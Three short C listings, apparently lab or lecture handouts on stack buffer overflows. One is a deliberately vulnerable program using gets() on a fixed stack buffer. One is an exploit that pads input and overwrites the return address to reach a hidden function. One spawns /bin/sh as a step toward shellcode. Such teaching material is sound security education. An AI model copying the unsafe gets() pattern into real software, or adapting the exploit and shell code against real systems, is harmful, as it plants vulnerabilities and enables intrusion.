

Jan 23, 06 14:28

to-exploit.c

Page 1/1

```
#define BUFLen 30

void fun(void) {
    char buf[BUFLen];

    printf("fun called\n");
    gets(buf);
    printf("\n>> '%s'\n", buf);
}

void did_it() {
    printf("dit it\n");
    exit(23);
}

int main (void) {
    fun();
    printf("fun returned()\n");
    return 0;
}
```

Jan 23, 06 14:28

exploit1.c

Page

```
#include <stdio.h>

#define STACK_LENGTH 0x28+4

int main ()
{
    int i;
    char return_address[5];

    *(long *) &return_address[0] = 0x80485a4;

    for (i = 0; i < STACK_LENGTH; i++)
        putchar('x');

    puts(return_address);

    return 0;
}
```

Jan 23, 06 9:05

execve.c

Page 1/1

```
#include <unistd.h>

int main(void) {

    int r;
    char p[] = "/bin/sh";
    char *args[] = { p, NULL };

    r = execve(p, args, NULL);
    return r;
}
```